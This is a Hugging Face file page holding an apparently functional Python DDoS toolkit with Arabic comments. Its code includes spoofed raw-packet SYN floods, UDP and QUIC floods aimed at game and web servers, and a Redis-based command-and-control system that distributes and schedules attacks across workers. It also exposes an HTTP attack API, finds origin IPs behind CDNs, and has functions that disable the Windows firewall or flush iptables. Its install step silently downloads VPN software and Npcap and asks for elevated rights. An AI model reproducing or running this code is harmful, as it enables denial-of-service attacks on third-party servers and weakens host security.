Hugging Face's logo

Speedo0o
/
Bosa

Model card Files
xet
 Community
Bosa / 1.py
Speedo0o's picture
Speedo0o
Update 1.py
122603c verified
Raw History Blame Contribute Delete
309 kB
#!/usr/bin/env python3
"""
██████╗ ██╗ ██╗ ██████╗ ███████╗███╗ ██╗██╗██╗ ██╗
██╔══██╗██║ ██║██╔═══██╗██╔════╝████╗ ██║██║╚██╗██╔╝
██████╔╝███████║██║ ██║█████╗ ██╔██╗ ██║██║ ╚███╔╝
██╔═══╝ ██╔══██║██║ ██║██╔══╝ ██║╚██╗██║██║ ██╔██╗
██║ ██║ ██║╚██████╔╝███████╗██║ ╚████║██║██╔╝ ██╗
╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═══╝╚═╝╚═╝ ╚═╝
"""
# ============================================================================
# تثبيت التبعيات تلقائياً (إن لم تكن موجودة)
# ============================================================================
import subprocess
import sys
import os
import platform
import shutil
import urllib.request
import warnings
try:
from urllib3.exceptions import InsecureRequestWarning
warnings.filterwarnings("ignore", category=InsecureRequestWarning)
except Exception:
pass
required_packages = ["aiohttp", "requests", "h2", "uvloop", "aioquic", "beautifulsoup4", "curl_cffi", "scapy", "httpx", "websockets", "redis", "fastapi", "uvicorn", "apscheduler", "pywinauto"]
if platform.system() == "Windows":
try:
import ctypes
def _is_windows_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except Exception:
return False
if not _is_windows_admin():
print("[!] Script is not running as Administrator. Some optional features may require admin privileges.")
print("[!] If you need firewall or raw socket features, restart this script as Administrator.")
except Exception:
pass
skip_packages = {"uvloop"} if platform.system() == "Windows" else set()
missing = []
for pkg in required_packages:
if pkg in skip_packages:
continue
try:
__import__(pkg.replace("-", "_"))
except ImportError:
missing.append(pkg)
if missing or skip_packages:
if missing:
print(f"[!] Installing missing packages: {', '.join(missing)}")
if skip_packages:
skipped = ", ".join(sorted(skip_packages))
print(f"[!] Skipping unsupported package(s) on this OS: {skipped}")
installed = []
for pkg in missing:
try:
subprocess.check_call([sys.executable, "-m", "pip", "install", pkg])
installed.append(pkg)
except subprocess.CalledProcessError as e:
print(f"[!] Failed to install {pkg}: {e}")
continue
if platform.system() == "Windows":
def _app_installed(paths):
return any(os.path.exists(path) for path in paths if path)
def _download_file(url, target, headers=None):
headers = headers or {"User-Agent": "Mozilla/5.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.9"}
try:
req = urllib.request.Request(url, headers=headers)
with urllib.request.urlopen(req, timeout=120) as response:
content = response.read()
with open(target, "wb") as f:
f.write(content)
return True
except Exception as e:
try:
import requests
resp = requests.get(url, headers=headers, timeout=120, allow_redirects=True)
if resp.status_code == 200:
with open(target, "wb") as f:
f.write(resp.content)
return True
print(f"[!] HTTP {resp.status_code} downloading {target}")
except Exception:
pass
print(f"[!] Failed to download {target}: {e}")
return False
def _install_file(target):
try:
if target.lower().endswith(".msi"):
subprocess.check_call(["msiexec.exe", "/i", target, "/quiet", "/qn", "/norestart"], timeout=180)
else:
subprocess.check_call([target, "/S"], timeout=180)
return True
except Exception as e:
print(f"[!] Failed to install {target}: {e}")
return False
warp_paths = [
r"C:\Program Files\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\warp-cli.exe",
r"C:\Program Files\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
r"C:\Program Files (x86)\Cloudflare\Cloudflare WARP\Cloudflare WARP.exe",
]
tuxler_paths = [
os.path.join(os.environ.get('LOCALAPPDATA', ''), r"TuxlerVPN\TuxlerVPN.exe"),
r"C:\Program Files\TuxlerVPN\TuxlerVPN.exe",
r"C:\Program Files (x86)\TuxlerVPN\TuxlerVPN.exe",
]
if not _app_installed(warp_paths):
print("[!] Cloudflare WARP not detected, downloading and installing...")
installer = os.path.join(os.path.dirname(__file__), "Cloudflare_WARP.msi")
if _download_file(
"https://1111-releases.cloudflareclient.com/windows/Cloudflare_WARP_Release-x64.msi",
installer,
headers={"User-Agent": "Mozilla/5.0", "Accept": "application/octet-stream"}
):
_install_file(installer)
if not _app_installed(tuxler_paths):
print("[!] Tuxler VPN not detected, downloading and installing...")
installer = os.path.join(os.path.dirname(__file__), "TuxlerVPN_Setup.exe")
if _download_file(
"https://api.tuxlervpn.com/extension_event.php?id=download_desktop_win",
installer,
headers={
"User-Agent": "Mozilla/5.0",
"Referer": "https://www.tuxlervpn.com/download-windows/",
"Accept": "application/octet-stream",
"Accept-Language": "en-US,en;q=0.9",
}
):
_install_file(installer)
npcap_paths = [
r"C:\Windows\System32\Npcap\wpcap.dll",
r"C:\Program Files\Npcap\wpcap.dll",
r"C:\Program Files (x86)\Npcap\wpcap.dll",
]
def _is_admin():
try:
import ctypes
return ctypes.windll.shell32.IsUserAnAdmin() != 0
except Exception:
return False
def _run_as_admin(executable, arguments=""):
try:
import ctypes
ret = ctypes.windll.shell32.ShellExecuteW(None, "runas", executable, arguments, None, 1)
return int(ret) > 32
except Exception as e:
print(f"[!] Elevation launch failed: {e}")
return False
def _install_npcap(target):
try:
if target.lower().endswith(".exe"):
if _is_admin():
subprocess.check_call([target, "/S", "/winpcap_mode=yes"], timeout=240)
return True
print("[!] Npcap installer requires elevation. Launching UAC prompt...")
return _run_as_admin(target, "/S /winpcap_mode=yes")
except Exception as e:
print(f"[!] Failed to install Npcap automatically: {e}")
return False
if not _app_installed(npcap_paths):
print("[!] Npcap not detected, downloading and installing...")
installer = os.path.join(os.path.dirname(__file__), "npcap_installer.exe")
if _download_file(
"https://nmap.org/npcap/dist/npcap-1.71.exe",
installer,
headers={"User-Agent": "Mozilla/5.0", "Accept": "application/octet-stream"}
):
if not _install_npcap(installer):
print("[!] Automatic Npcap install failed. Please run this script as Administrator, or install Npcap manually from https://npcap.com/ and enable WinPcap API-compatible mode.")
# ============================================================================
# الاستيرادات الأساسية
# ============================================================================
import socket
import struct
import random
import time
# datetime imported below as module (import datetime)
# ============================================================================
# MISSING FLOODER FUNCTIONS – NUCLEAR POWER
# ============================================================================
def flooder(host, port, data, until):
"""TCP SYN Flood – raw packet spoofing (requires admin)"""
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
raw = True
except PermissionError:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
raw = False
src_ip = socket.gethostbyname(socket.gethostname())
while datetime.datetime.now() < until:
try:
if raw:
ip_header = struct.pack('!BBHHHBBH4s4s', 0x45, 0, 0, 0x4000, 0, 64, 6, 0,
socket.inet_aton(src_ip), socket.inet_aton(host))
tcp_header = struct.pack('!HHLLBBHHH', random.randint(1,65535), port, 0, 0, 0x50, 0x02, 0xFFFF, 0, 0)
s.sendto(ip_header + tcp_header, (host, port))
else:
s.sendto(data * 1024, (host, port))
except Exception:
pass
def mine(host, port, data, until):
"""Minecraft UDP flood – large packets"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
payload = data * 4096
while datetime.datetime.now() < until:
try:
s.sendto(payload[:4096], (host, port))
except Exception:
pass
def vse(host, port, data, until):
"""Source Engine (VSE) query flood"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while datetime.datetime.now() < until:
try:
s.sendto(data * 1024, (host, port))
except Exception:
pass
def sender(host, port, until, data):
"""UDP random payload flood"""
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
while datetime.datetime.now() < until:
try:
s.sendto(data + bytes(random.randint(0, 255) for _ in range(1024)), (host, port))
except Exception:
pass
# Wrappers for CLI
def runflooder(host, port, workers, duration):
until = datetime.datetime.now() + datetime.timedelta(seconds=duration)
data = random._urandom(1024)
for _ in range(workers):
threading.Thread(target=flooder, args=(host, port, data, until), daemon=True).start()
time.sleep(duration)
def runmine(host, port, workers, duration):
until = datetime.datetime.now() + datetime.timedelta(seconds=duration)
data = b'\x06\x00/\x00\x00\x00\x02\x0c\x00'
for _ in range(workers):
threading.Thread(target=mine, args=(host, port, data, until), daemon=True).start()
time.sleep(duration)
def runvse(host, port, workers, duration):
until = datetime.datetime.now() + datetime.timedelta(seconds=duration)
data = b'\xFF\xFF\xFF\xFF\x54\x53\x6F\x75\x72\x63\x65\x20\x45\x6E\x67\x69\x6E\x65\x20\x51\x75\x65\x72\x79'
for _ in range(workers):
threading.Thread(target=vse, args=(host, port, data, until), daemon=True).start()
time.sleep(duration)
def runsender(host, port, workers, duration):
until = datetime.datetime.now() + datetime.timedelta(seconds=duration)
data = random._urandom(1024)
for _ in range(workers):
threading.Thread(target=sender, args=(host, port, until, data), daemon=True).start()
time.sleep(duration)
import asyncio
import aiohttp
import argparse
import concurrent.futures
import datetime
import http.client
import http.cookiejar
import json
import logging
import math
import random
import socket
import ssl
import struct
import threading
import time
import urllib.error
import urllib.parse
import urllib.request
import re
from collections import defaultdict
from typing import Dict, List, Optional, Tuple
from threading import Thread
from http.server import SimpleHTTPRequestHandler
from socketserver import ThreadingTCPServer
from xmlrpc.server import SimpleXMLRPCServer
import xmlrpc.client
import sched
import uuid
from apscheduler.schedulers.background import BackgroundScheduler
from fastapi import FastAPI, HTTPException
from fastapi.responses import JSONResponse
import uvicorn
from pydantic import BaseModel
import tkinter as tk
from tkinter import ttk, scrolledtext, messagebox, filedialog, simpledialog
import queue
import hashlib
import base64
# محاولة استيراد uvloop لتحسين الأداء
try:
import uvloop
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
except ImportError:
pass
# Fix curl_cffi warning on Windows event loop
# if platform.system() == "Windows":
# try:
# if sys.version_info < (3, 16):
# with warnings.catch_warnings():
# warnings.simplefilter("ignore", DeprecationWarning)
# asyncio.set_event_loop_policy(asyncio.WindowsProactorEventLoopPolicy())
# except Exception:
# pass
# ============================================================================
# محاولة استيراد أدوات التخفي الاختيارية
# ============================================================================
try:
from bs4 import BeautifulSoup, Tag
BS4_AVAILABLE = True
except ImportError:
BS4_AVAILABLE = False
try:
from curl_cffi import requests as cffi_requests
CURL_CFFI_AVAILABLE = True
except ImportError:
CURL_CFFI_AVAILABLE = False
try:
from playwright.sync_api import sync_playwright
PLAYWRIGHT_AVAILABLE = True
except ImportError:
PLAYWRIGHT_AVAILABLE = False
try:
from scapy.all import IP, TCP, send, RandShort
SCAPY_AVAILABLE = True
except ImportError:
SCAPY_AVAILABLE = False
# Check admin privileges globally
try:
import ctypes
IS_ADMIN = ctypes.windll.shell32.IsUserAnAdmin() != 0
except Exception:
IS_ADMIN = os.geteuid() == 0 if hasattr(os, 'geteuid') else False
try:
import httpx
HTTPX_AVAILABLE = True
except ImportError:
HTTPX_AVAILABLE = False
async def quic_flood(target_host: str, target_port: int = 443, count: int = 100):
"""هجوم عبر بروتوكول QUIC (HTTP/3) - استنزاف CPU"""
try:
from aioquic.asyncio import connect
from aioquic.quic.configuration import QuicConfiguration
except ImportError:
print("[!] aioquic not installed. Install: pip install aioquic")
return
async def _send_quic():
config = QuicConfiguration(is_client=True, alpn_protocols=["h3"])
try:
async with connect(target_host, target_port, configuration=config) as connection:
for _ in range(10):
stream_id = connection.get_next_available_stream_id()
connection.send_stream_data(stream_id, b"GET / HTTP/3\r\nHost: " + target_host.encode() + b"\r\n\r\n")
await asyncio.sleep(0.01)
except Exception:
pass
tasks = [asyncio.create_task(_send_quic()) for _ in range(min(count, 200))]
await asyncio.gather(*tasks, return_exceptions=True)
def get_public_ip() -> str:
try:
import requests
return requests.get("https://api.ipify.org", timeout=5).text.strip()
except Exception:
try:
return socket.gethostbyname(socket.gethostname())
except Exception:
return "127.0.0.1"
def create_raw_sockets(count: int):
sockets = []
for _ in range(count):
try:
if platform.system() == "Linux":
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003))
else:
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
sockets.append(sock)
except Exception:
break
return sockets
def disable_windows_firewall():
if platform.system() != "Windows":
return False
try:
subprocess.check_call(["netsh", "advfirewall", "set", "allprofiles", "state", "off"], shell=False)
return True
except Exception:
return False
def disable_linux_iptables():
if platform.system() != "Linux":
return False
try:
subprocess.check_call(["sudo", "iptables", "-F"], shell=False)
subprocess.check_call(["sudo", "iptables", "-X"], shell=False)
subprocess.check_call(["sudo", "iptables", "-P", "INPUT", "ACCEPT"], shell=False)
subprocess.check_call(["sudo", "iptables", "-P", "OUTPUT", "ACCEPT"], shell=False)
subprocess.check_call(["sudo", "iptables", "-P", "FORWARD", "ACCEPT"], shell=False)
return True
except Exception:
return False
def load_targets_from_file(filepath: str):
targets = []
try:
with open(filepath, "r", encoding="utf-8", errors="ignore") as handle:
for line in handle:
cleaned = line.strip()
if cleaned and not cleaned.startswith("#"):
targets.append(cleaned)
except Exception:
pass
return targets
def find_origin_ip(domain: str):
results = []
resolved_ips = set()
try:
import requests
crt_url = f"https://crt.sh/?q=%25{domain}&output=json"
resp = requests.get(crt_url, timeout=15, headers={"User-Agent": "Mozilla/5.0"})
if resp.status_code == 200:
try:
rows = resp.json()
for row in rows:
name = row.get("name_value", "")
for ip in re.findall(r"\b(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b", name):
resolved_ips.add(ip)
except Exception:
pass
except Exception:
pass
try:
answers = socket.gethostbyname_ex(domain)
for ip in answers[2]:
resolved_ips.add(ip)
except Exception:
pass
for ip in sorted(resolved_ips):
for port in [80, 443, 8080, 8443]:
try:
s = socket.create_connection((ip, port), timeout=3)
s.close()
results.append({"ip": ip, "port": port})
except Exception:
continue
if not results:
results = [{"ip": ip, "port": None} for ip in sorted(resolved_ips)]
return results
def scan_ports(target: str, ports: List[int], timeout: float = 2.0):
open_ports = []
for port in ports:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((target, port))
open_ports.append(port)
except Exception:
pass
finally:
try:
sock.close()
except Exception:
pass
return open_ports
def schedule_attack(controller, target: str, mode: str, time_str: str, duration: float, total_requests: int, repeat: str = "none"):
try:
schedule_time = datetime.datetime.strptime(time_str, "%Y-%m-%d %H:%M")
except ValueError:
raise ValueError("Invalid schedule format. Use YYYY-MM-DD HH:MM")
if schedule_time < datetime.datetime.now():
raise ValueError("Schedule time must be in the future.")
def job_action():
controller.distribute_attack(target, mode, threads=controller.default_thread_allocation(), duration=duration, total_requests=total_requests)
if repeat == "hourly":
controller.scheduler.add_job(job_action, "interval", hours=1, next_run_time=schedule_time)
elif repeat == "daily":
controller.scheduler.add_job(job_action, "interval", days=1, next_run_time=schedule_time)
elif repeat == "weekly":
controller.scheduler.add_job(job_action, "interval", weeks=1, next_run_time=schedule_time)
else:
controller.scheduler.add_job(job_action, "date", run_date=schedule_time)
return schedule_time.isoformat()
def create_api_app(controller):
app = FastAPI()
class AttackRequest(BaseModel):
target: str
mode: str = "http"
method: str = "GET"
payload: str = ""
threads: int = 500
duration: float = 60.0
total_requests: int = 100000
ports: Optional[List[int]] = None
batch_targets: Optional[List[str]] = None
schedule: Optional[str] = None
repeat: str = "none"
@app.post("/api/attack")
def api_attack(request: AttackRequest):
if controller.active_attacks:
raise HTTPException(status_code=409, detail="Another attack is already active.")
if request.batch_targets:
controller.batch_targets = request.batch_targets
attack_id = controller.distribute_attack(
target=request.target,
mode=request.mode,
threads=request.threads,
duration=request.duration,
total_requests=request.total_requests,
)
return JSONResponse({"attack_id": attack_id, "status": "scheduled"})
@app.post("/api/stop")
def api_stop():
controller.stop_all_attacks()
return JSONResponse({"status": "stopped"})
@app.get("/api/status")
def api_status():
return JSONResponse({"active_attacks": len(controller.active_attacks), "workers": controller.get_online_workers(), "stats": controller.collect_stats()})
@app.get("/api/workers")
def api_workers():
return JSONResponse({"workers": controller.get_worker_info_list()})
@app.post("/api/port-scan")
def api_port_scan(ports: List[int], target: str):
scan_result = controller.distributed_port_scan(target, ports)
return JSONResponse({"target": target, "open_ports": scan_result})
return app
def start_api_server(controller, host: str = "0.0.0.0", port: int = 8080):
app = create_api_app(controller)
thread = Thread(target=lambda: uvicorn.run(app, host=host, port=port, log_level="info"), daemon=True)
thread.start()
return thread
def start_c2_server(host: str = "127.0.0.1", port: int = 6379, logger: logging.Logger = None):
controller = DistributedController(redis_host=host, redis_port=port, logger=logger)
controller.start()
return controller
class DistributedController:
def __init__(self, redis_host: str = "localhost", redis_port: int = 6379, logger: logging.Logger = None):
self.redis_host = redis_host
self.redis_port = redis_port
self.logger = logger or logging.getLogger("power_attack")
self.connected = False
self.active_attacks = {}
self.batch_targets: List[str] = []
self.last_status_check = time.time()
self.scheduler = BackgroundScheduler()
self.scheduler.start()
self.lock = threading.Lock()
self.pubsub = None
self.subscriber_thread = None
self.monitor_thread = None
self.worker_threads = {}
try:
import redis
self.redis = redis.Redis(host=redis_host, port=redis_port, decode_responses=True, socket_timeout=5, socket_connect_timeout=5)
self.redis.ping()
self.connected = True
self.pubsub = self.redis.pubsub(ignore_subscribe_messages=True)
self.log(f"[C2] Connected to Redis at {redis_host}:{redis_port}", "INFO")
except Exception as exc:
self.log(f"[C2] Redis connection failed: {exc}", "ERROR")
self.connected = False
def _now(self):
return int(time.time())
def log(self, message: str, level: str = "INFO"):
if self.logger:
if level == "ERROR":
self.logger.error(message)
elif level == "WARNING":
self.logger.warning(message)
else:
self.logger.info(message)
else:
print(message)
def start(self):
if not self.connected:
self.log("[C2] Cannot start controller without Redis.", "ERROR")
return
self._start_monitor()
self._start_command_listener()
self.log("[C2] Controller is running.", "SUCCESS")
def _start_command_listener(self):
if not self.pubsub:
return
def loop():
try:
self.pubsub.subscribe("c2:commands")
for message in self.pubsub.listen():
if message and message.get("type") == "message":
payload = message.get("data")
try:
data = json.loads(payload)
self.log(f"[C2] Command received: {data}", "INFO")
except Exception:
continue
except Exception as exc:
self.log(f"[C2] Command listener error: {exc}", "ERROR")
self.subscriber_thread = threading.Thread(target=loop, daemon=True)
self.subscriber_thread.start()
def _start_monitor(self):
def monitor():
while True:
try:
now = self._now()
workers = self.redis.smembers("workers") if self.connected else set()
for worker_id in list(workers):
info = self.redis.hgetall(f"worker:{worker_id}")
if not info:
self.redis.srem("workers", worker_id)
continue
last_seen = float(info.get("last_seen", "0"))
if now - last_seen > 30:
self.log(f"[C2] Worker {worker_id} timed out.", "WARNING")
self.redis.srem("workers", worker_id)
self.redis.hset(f"worker:{worker_id}", "status", "offline")
self._rebalance_attacks(worker_id)
time.sleep(10)
except Exception as exc:
self.log(f"[C2] Monitor error: {exc}", "ERROR")
time.sleep(10)
self.monitor_thread = threading.Thread(target=monitor, daemon=True)
self.monitor_thread.start()
def register_worker(self, worker_id: str, ip: str, max_threads: int, os_name: str, status: str = "ready"):
if not self.connected:
return False
self.redis.sadd("workers", worker_id)
self.redis.hset(f"worker:{worker_id}", mapping={
"worker_id": worker_id,
"ip": ip,
"max_threads": str(max_threads),
"os": os_name,
"status": status,
"last_seen": str(self._now()),
"total_requests": "0",
"rps": "0"
})
self.redis.expire(f"worker:{worker_id}", 90)
self.log(f"[C2] Worker registered: {worker_id} ({ip})", "SUCCESS")
return True
def heartbeat_worker(self, worker_id: str, stats: Optional[Dict] = None):
if not self.connected:
return
data = {
"last_seen": str(self._now()),
"status": "ready"
}
if stats:
data["total_requests"] = str(stats.get("total_requests", 0))
data["rps"] = str(stats.get("rps", 0))
data["status"] = stats.get("status", "ready")
self.redis.hset(f"worker:{worker_id}", mapping=data)
self.redis.expire(f"worker:{worker_id}", 90)
def get_online_workers(self):
if not self.connected:
return []
worker_ids = list(self.redis.smembers("workers"))
return [self.get_worker_info(worker_id) for worker_id in worker_ids if self.get_worker_info(worker_id)]
def get_worker_info(self, worker_id: str):
if not self.connected:
return {}
info = self.redis.hgetall(f"worker:{worker_id}")
if not info:
return {}
return info
def get_worker_info_list(self):
return self.get_online_workers()
def collect_stats(self):
stats = {
"workers": 0,
"total_requests": 0,
"rps": 0,
"active": 0,
"offline": 0
}
for worker in self.get_online_workers():
stats["workers"] += 1
stats["total_requests"] += int(worker.get("total_requests", 0))
stats["rps"] += int(worker.get("rps", 0))
if worker.get("status") == "ready":
stats["active"] += 1
else:
stats["offline"] += 1
return stats
def default_thread_allocation(self):
workers = self.get_online_workers()
return sum(int(w.get("max_threads", 1)) for w in workers) or 1
def send_command_to_worker(self, worker_id: str, command: str, params: Dict):
if not self.connected:
return False
payload = json.dumps({"command": command, "params": params, "timestamp": self._now()})
channel = f"worker:{worker_id}:command"
self.redis.publish(channel, payload)
self.redis.hset(f"worker:{worker_id}", mapping={"last_command": command, "last_params": json.dumps(params), "status": "assigned"})
return True
def distribute_attack(self, target: str, mode: str, threads: int, duration: float, total_requests: int):
if not self.connected:
self.log("[C2] Cannot distribute attack without Redis.", "ERROR")
return "offline"
workers = self.get_online_workers()
if not workers:
self.log("[C2] No workers available to distribute attack.", "WARNING")
return "no_workers"
total_capacity = sum(int(w.get("max_threads", 1)) for w in workers)
if total_capacity <= 0:
total_capacity = len(workers)
attack_id = f"attack-{int(time.time())}"
self.active_attacks[attack_id] = {
"target": target,
"mode": mode,
"threads": threads,
"duration": duration,
"total_requests": total_requests,
"assigned": [],
"start_time": self._now()
}
request_budget = total_requests if total_requests > 0 else int(duration * 1000)
offset = 0
for worker in workers:
weight = int(worker.get("max_threads", 1))
worker_count = max(1, int(request_budget * weight / total_capacity))
params = {
"attack_id": attack_id,
"target": target,
"mode": mode,
"threads": min(threads, weight),
"duration": duration,
"total_requests": worker_count,
"offset": offset,
"limit": worker_count,
"batch_targets": self.batch_targets,
}
offset += worker_count
self.send_command_to_worker(worker["worker_id"], "attack", params)
self.active_attacks[attack_id]["assigned"].append({"worker_id": worker["worker_id"], "requests": worker_count})
self.log(f"[C2] Distributed attack {attack_id} to {len(workers)} workers.", "SUCCESS")
return attack_id
def distributed_port_scan(self, target: str, ports: List[int], workers: int = 0):
if not self.connected:
return scan_ports(target, ports)
online = self.get_online_workers()
if not online:
return scan_ports(target, ports)
scan_results = {}
for worker in online:
worker_id = worker.get("worker_id")
self.send_command_to_worker(worker_id, "port_scan", {"target": target, "ports": ports})
time.sleep(3)
for worker in online:
worker_id = worker.get("worker_id")
try:
raw = self.redis.get(f"worker:{worker_id}:port_scan_result")
if raw:
scan_results[worker_id] = json.loads(raw)
except Exception:
pass
aggregated = set()
for item in scan_results.values():
for port in item.get("open_ports", []):
aggregated.add(port)
return sorted(aggregated)
def stop_all_attacks(self):
with self.lock:
self.active_attacks.clear()
self.log("[C2] Stopped all active attack assignments.", "WARNING")
for worker in self.get_online_workers():
self.send_command_to_worker(worker["worker_id"], "stop", {})
def _rebalance_attacks(self, missing_worker_id: str):
with self.lock:
for attack_id, attack in list(self.active_attacks.items()):
assignment = [item for item in attack.get("assigned", []) if item["worker_id"] == missing_worker_id]
if not assignment:
continue
remaining = sum(item["requests"] for item in assignment)
self.log(f"[C2] Rebalancing {remaining} requests from offline worker {missing_worker_id}", "WARNING")
attack["assigned"] = [item for item in attack["assigned"] if item["worker_id"] != missing_worker_id]
active_workers = [w for w in self.get_online_workers() if w["worker_id"] != missing_worker_id]
if not active_workers:
self.log("[C2] No remaining workers to rebalance attack.", "ERROR")
continue
total_capacity = sum(int(w.get("max_threads", 1)) for w in active_workers)
for worker in active_workers:
weight = int(worker.get("max_threads", 1))
assigned_requests = max(1, int(remaining * weight / total_capacity))
params = {
"attack_id": attack_id,
"target": attack["target"],
"mode": attack["mode"],
"threads": min(attack["threads"], weight),
"duration": attack["duration"],
"total_requests": assigned_requests,
"offset": 0,
"limit": assigned_requests,
"batch_targets": self.batch_targets,
}
self.send_command_to_worker(worker["worker_id"], "attack", params)
attack["assigned"].append({"worker_id": worker["worker_id"], "requests": assigned_requests})
def is_worker_command(self, command: str) -> bool:
return command in {"attack", "port_scan", "stop", "heartbeat"}
def run_worker_loop(args, logger: logging.Logger):
controller = DistributedController(redis_host=args.c2_server, redis_port=args.c2_port, logger=logger)
if not controller.connected:
logger.error("Unable to connect to Redis C2 backend.")
return
worker_id = str(uuid.uuid4())
ip = get_public_ip()
max_threads = args.workers if hasattr(args, "workers") else 100
os_name = platform.system()
controller.register_worker(worker_id, ip, max_threads, os_name)
def heartbeat_loop():
while True:
controller.heartbeat_worker(worker_id)
time.sleep(10)
hb_thread = threading.Thread(target=heartbeat_loop, daemon=True)
hb_thread.start()
pubsub = controller.redis.pubsub(ignore_subscribe_messages=True)
pubsub.subscribe(f"worker:{worker_id}:command")
logger.info(f"[WORKER] Listening for commands on worker:{worker_id}:command")
for message in pubsub.listen():
if not message or message.get("type") != "message":
continue
try:
payload = json.loads(message.get("data"))
command = payload.get("command")
params = payload.get("params", {})
logger.info(f"[WORKER] Received command {command} with params {params}")
if command == "attack":
target = params.get("target")
mode = params.get("mode", "http")
threads = params.get("threads", max_threads)
duration = params.get("duration", 60)
total_requests = params.get("total_requests", 10000)
if mode in {"http", "http-app", "async-http"}:
http_flood(
url=target,
total_requests=total_requests,
workers=threads,
method=params.get("method", "GET"),
payload=params.get("payload", "message=payload"),
rate=0,
duration=duration,
extra_headers=True,
use_playwright=False,
keepalive=True,
random_query=True,
app_mode=(mode == "http-app"),
logger=logger,
identity_pool=None,
human_timing=False,
use_cffi=False,
tcp_spoof=False,
ai_payload=False
)
elif mode == "tcp":
tcp_connection_flood(target, params.get("port", 80), total_requests, threads, False, 0, duration, logger)
elif mode == "udp-flood":
udp_flood(target, params.get("port", 80), total_requests, 1400, 0, duration, logger)
elif command == "port_scan":
target = params.get("target")
ports = params.get("ports", [80, 443, 8080, 8443])
open_ports = scan_ports(target, ports)
controller.redis.set(f"worker:{worker_id}:port_scan_result", json.dumps({"open_ports": open_ports}), ex=60)
elif command == "stop":
logger.warning("[WORKER] Stop command received.")
break
except Exception as exc:
logger.error(f"[WORKER] Command processing failed: {exc}")
pubsub.close()
logger.info("[WORKER] Command listener stopped.")
# ============================================================================
# ملفات تعريف المتصفحات (BROWSER PROFILES) - 5 ملفات تعريف مختلفة
# ============================================================================
BROWSER_PROFILES = [
{
"name": "Chrome 124 Windows",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"sec_ch_ua": '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
"sec_ch_ua_mobile": "?0",
"sec_ch_ua_platform": '"Windows"',
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept_encoding": "gzip, deflate, br, zstd",
"sec_fetch_dest": "document",
"sec_fetch_mode": "navigate",
"sec_fetch_site": "none",
"sec_fetch_user": "?1",
"upgrade_insecure_requests": "1",
"tls_impersonate": "chrome124",
"platform": "windows",
},
{
"name": "Chrome 124 macOS",
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"sec_ch_ua": '"Chromium";v="124", "Google Chrome";v="124", "Not-A.Brand";v="99"',
"sec_ch_ua_mobile": "?0",
"sec_ch_ua_platform": '"macOS"',
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
"accept_encoding": "gzip, deflate, br, zstd",
"sec_fetch_dest": "document",
"sec_fetch_mode": "navigate",
"sec_fetch_site": "none",
"sec_fetch_user": "?1",
"upgrade_insecure_requests": "1",
"tls_impersonate": "chrome124",
"platform": "macos",
},
{
"name": "Firefox 125 Windows",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0",
"sec_ch_ua": None,
"sec_ch_ua_mobile": None,
"sec_ch_ua_platform": None,
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"accept_encoding": "gzip, deflate, br, zstd",
"sec_fetch_dest": "document",
"sec_fetch_mode": "navigate",
"sec_fetch_site": "none",
"sec_fetch_user": "?1",
"upgrade_insecure_requests": "1",
"tls_impersonate": "firefox125",
"platform": "windows",
},
{
"name": "Firefox 125 Linux",
"user_agent": "Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0",
"sec_ch_ua": None,
"sec_ch_ua_mobile": None,
"sec_ch_ua_platform": None,
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"accept_encoding": "gzip, deflate, br, zstd",
"sec_fetch_dest": "document",
"sec_fetch_mode": "navigate",
"sec_fetch_site": "none",
"sec_fetch_user": "?1",
"upgrade_insecure_requests": "1",
"tls_impersonate": "firefox125",
"platform": "linux",
},
{
"name": "Safari 17 macOS",
"user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15",
"sec_ch_ua": None,
"sec_ch_ua_mobile": None,
"sec_ch_ua_platform": None,
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"accept_encoding": "gzip, deflate, br",
"sec_fetch_dest": "document",
"sec_fetch_mode": "navigate",
"sec_fetch_site": "none",
"sec_fetch_user": None,
"upgrade_insecure_requests": "1",
"tls_impersonate": "safari17_2_ios",
"platform": "macos",
},
]
GEO_PROFILES = {
"us": {"lang": "en-US,en;q=0.9", "tz": "America/New_York"},
"uk": {"lang": "en-GB,en;q=0.9", "tz": "Europe/London"},
